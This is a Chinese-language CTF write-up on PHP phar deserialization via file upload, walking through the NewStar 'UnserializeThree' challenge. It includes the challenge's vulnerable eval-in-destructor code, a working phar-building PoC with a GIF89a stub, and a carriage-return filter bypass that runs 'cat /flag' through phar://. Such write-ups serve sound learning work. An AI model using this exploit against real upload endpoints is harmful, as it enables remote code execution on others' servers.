phar文件上传及反序列化
起因
今天在打新生赛的时候遇见了以前从来没有遇见过的php反序列化,这个反序列化的特点是本身并没有unserialize函数,那么这就意味着以前的直接构造pop链就不行了,加上它有文件上传的模块,那么就可以用到phar反序列化这个知识点了
大佬的文章
phar的具体讲解可以参考大佬的文章
具体使用
看了大佬的文章其实就已经能够很好的理解了,我再来说说我的理解
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| <?php class test{ public $name="qwq"; function __destruct() { echo $this->name . " is a web vegetable dog "; } } $a = new test(); $a->name="quan9i"; $tttang=new phar('1.phar'); $tttang->startBuffering(); $tttang->setMetadata($a); $tttang->setStub("<?php __HALT_COMPILER();?>"); $tttang->addFromString("test.txt","test"); $tttang->stopBuffering(); ?>
|
首先需要将自己想序列化的东西放入setMetadata里面,因为在程序解压phar文件的时候会自动将setMetadata里的东西反序列化,这样就能构造成一个攻击点。然后我们运行上面的程序过后就会在同目录生成1.phar的文件,然后就可以在题目上的上传文件接口进行上传文件,可以在1.phar文件添加其他的后缀名并不会影响使用。接着我们再使用phar伪协议读取我们上传的文件即可。phar会自动反序列化我们在setMetadata上传的东西。
例子
NewStar的UnserializeThree
题目分析
打开题目
直接说了文件上传和反序列化结合,那么这就意味着需要使用到phar文件,
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| <?php highlight_file(__FILE__); class Evil{ public $cmd; public function __destruct() { if(!preg_match("/>|<|\?|php|".urldecode("%0a")."/i",$this->cmd)){ eval("#".$this->cmd); }else{ echo "No!"; } } }
file_exists($_GET['file']);
|
这里主要是对cmd参数进行了过滤,它过滤掉了<> ? php 还有换行符\n,如果通过了过滤就会使用eval函数,但是还是有#,他会把cmd参数注释掉,所以我们得绕过#,绕过#有多种方法,用?><?php,\n,\r因为有preg_match函数的限制,所以我们这里只能使用\r来进行绕过
POC如下
1 2 3 4 5 6 7 8 9 10 11 12 13
| <?php class Evil{ public $cmd="\rsystem('cat /flag');"; } $a = new Evil(); $tttang=new phar('2.phar'); $tttang->startBuffering(); $tttang->setMetadata($a); $tttang->setStub('GIF89a'.'<?php __HALT_COMPILER();?>'); $tttang->addFromString("test.txt","test"); $tttang->stopBuffering(); ?>
|
运行后得到phar文件并把phar文件改成png文件上传并且用phar://上传文件的路径即可得到flag